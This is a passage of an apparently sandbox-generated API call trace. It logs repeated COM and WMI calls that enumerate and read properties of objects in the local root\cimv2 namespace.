Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60fd670) returned 0x0 [0067.045] IUnknown:QueryInterface (in: This=0x60fd670, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.086] IUnknown:QueryInterface (in: This=0x60fd670, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.086] IUnknown:AddRef (This=0x60fd670) returned 0x3 [0067.087] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.087] IUnknown:QueryInterface (in: This=0x60fd670, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60fd674) returned 0x0 [0067.087] IMarshal:GetUnmarshalClass (in: This=0x60fd674, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.087] IUnknown:Release (This=0x60fd674) returned 0x3 [0067.087] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.087] IUnknown:AddRef (This=0x60fd670) returned 0x4 [0067.087] IUnknown:QueryInterface (in: This=0x60fd670, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.087] IUnknown:Release (This=0x60fd670) returned 0x3 [0067.088] IUnknown:Release (This=0x60fd670) returned 0x2 [0067.088] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.088] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.088] IUnknown:AddRef (This=0x60fd670) returned 0x3 [0067.088] IUnknown:QueryInterface (in: This=0x60fd670, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60fd670) returned 0x0 [0067.088] IUnknown:Release (This=0x60fd670) returned 0x3 [0067.088] IUnknown:Release (This=0x60fd670) returned 0x2 [0067.088] IUnknown:Release (This=0x60fd670) returned 0x1 [0067.088] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.088] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.088] IUnknown:AddRef (This=0x60fd670) returned 0x2 [0067.094] IWbemClassObject:Get (in: This=0x60fd670, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.094] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.096] IWbemClassObject:Get (in: This=0x60fd670, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.096] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.096] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.096] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.096] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.096] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.097] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60fd808, puReturned=0x2e27944*=0x1) returned 0x0 [0067.104] IUnknown:QueryInterface (in: This=0x60fd808, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60fd808) returned 0x0 [0067.104] IUnknown:QueryInterface (in: This=0x60fd808, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.104] IUnknown:QueryInterface (in: This=0x60fd808, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.104] IUnknown:AddRef (This=0x60fd808) returned 0x3 [0067.104] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.104] IUnknown:QueryInterface (in: This=0x60fd808, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60fd80c) returned 0x0 [0067.105] IMarshal:GetUnmarshalClass (in: This=0x60fd80c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.105] IUnknown:Release (This=0x60fd80c) returned 0x3 [0067.105] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.105] IUnknown:AddRef (This=0x60fd808) returned 0x4 [0067.105] IUnknown:QueryInterface (in: This=0x60fd808, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.105] IUnknown:Release (This=0x60fd808) returned 0x3 [0067.105] IUnknown:Release (This=0x60fd808) returned 0x2 [0067.105] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.105] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.105] IUnknown:AddRef (This=0x60fd808) returned 0x3 [0067.105] IUnknown:QueryInterface (in: This=0x60fd808, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60fd808) returned 0x0 [0067.106] IUnknown:Release (This=0x60fd808) returned 0x3 [0067.106] IUnknown:Release (This=0x60fd808) returned 0x2 [0067.106] IUnknown:Release (This=0x60fd808) returned 0x1 [0067.106] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.106] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.106] IUnknown:AddRef (This=0x60fd808) returned 0x2 [0067.106] IWbemClassObject:Get (in: This=0x60fd808, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.106] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.106] IWbemClassObject:Get (in: This=0x60fd808, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.107] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.107] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.107] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.107] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.107] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.107] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60fe4a0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.149] IUnknown:QueryInterface (in: This=0x60fe4a0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60fe4a0) returned 0x0 [0067.149] IUnknown:QueryInterface (in: This=0x60fe4a0, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.150] IUnknown:QueryInterface (in: This=0x60fe4a0, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.150] IUnknown:AddRef (This=0x60fe4a0) returned 0x3 [0067.150] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.150] IUnknown:QueryInterface (in: This=0x60fe4a0, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60fe4a4) returned 0x0 [0067.150] IMarshal:GetUnmarshalClass (in: This=0x60fe4a4, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.150] IUnknown:Release (This=0x60fe4a4) returned 0x3 [0067.150] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.150] IUnknown:AddRef (This=0x60fe4a0) returned 0x4 [0067.150] IUnknown:QueryInterface (in: This=0x60fe4a0, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.151] IUnknown:Release (This=0x60fe4a0) returned 0x3 [0067.151] IUnknown:Release (This=0x60fe4a0) returned 0x2 [0067.151] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.151] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.151] IUnknown:AddRef (This=0x60fe4a0) returned 0x3 [0067.151] IUnknown:QueryInterface (in: This=0x60fe4a0, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60fe4a0) returned 0x0 [0067.151] IUnknown:Release (This=0x60fe4a0) returned 0x3 [0067.151] IUnknown:Release (This=0x60fe4a0) returned 0x2 [0067.151] IUnknown:Release (This=0x60fe4a0) returned 0x1 [0067.151] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.151] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.151] IUnknown:AddRef (This=0x60fe4a0) returned 0x2 [0067.152] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.152] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.152] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.152] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.152] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.152] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.152] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.152] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.152] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60fe638, puReturned=0x2e27944*=0x1) returned 0x0 [0067.153] IUnknown:QueryInterface (in: This=0x60fe638, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60fe638) returned 0x0 [0067.153] IUnknown:QueryInterface (in: This=0x60fe638, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.153] IUnknown:QueryInterface (in: This=0x60fe638, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.154] IUnknown:AddRef (This=0x60fe638) returned 0x3 [0067.154] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.154] IUnknown:QueryInterface (in: This=0x60fe638, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60fe63c) returned 0x0 [0067.154] IMarshal:GetUnmarshalClass (in: This=0x60fe63c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.154] IUnknown:Release (This=0x60fe63c) returned 0x3 [0067.154] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.154] IUnknown:AddRef (This=0x60fe638) returned 0x4 [0067.154] IUnknown:QueryInterface (in: This=0x60fe638, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.154] IUnknown:Release (This=0x60fe638) returned 0x3 [0067.155] IUnknown:Release (This=0x60fe638) returned 0x2 [0067.155] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.155] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.155] IUnknown:AddRef (This=0x60fe638) returned 0x3 [0067.155] IUnknown:QueryInterface (in: This=0x60fe638, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60fe638) returned 0x0 [0067.155] IUnknown:Release (This=0x60fe638) returned 0x3 [0067.155] IUnknown:Release (This=0x60fe638) returned 0x2 [0067.155] IUnknown:Release (This=0x60fe638) returned 0x1 [0067.155] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.155] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.155] IUnknown:AddRef (This=0x60fe638) returned 0x2 [0067.155] IWbemClassObject:Get (in: This=0x60fe638, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.155] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.156] IWbemClassObject:Get (in: This=0x60fe638, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.156] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.156] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.156] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.156] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.157] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.157] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60fe7d0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.157] IUnknown:QueryInterface (in: This=0x60fe7d0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60fe7d0) returned 0x0 [0067.158] IUnknown:QueryInterface (in: This=0x60fe7d0, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.158] IUnknown:QueryInterface (in: This=0x60fe7d0, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.158] IUnknown:AddRef (This=0x60fe7d0) returned 0x3 [0067.158] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.158] IUnknown:QueryInterface (in: This=0x60fe7d0, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60fe7d4) returned 0x0 [0067.158] IMarshal:GetUnmarshalClass (in: This=0x60fe7d4, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.158] IUnknown:Release (This=0x60fe7d4) returned 0x3 [0067.158] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.158] IUnknown:AddRef (This=0x60fe7d0) returned 0x4 [0067.158] IUnknown:QueryInterface (in: This=0x60fe7d0, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.158] IUnknown:Release 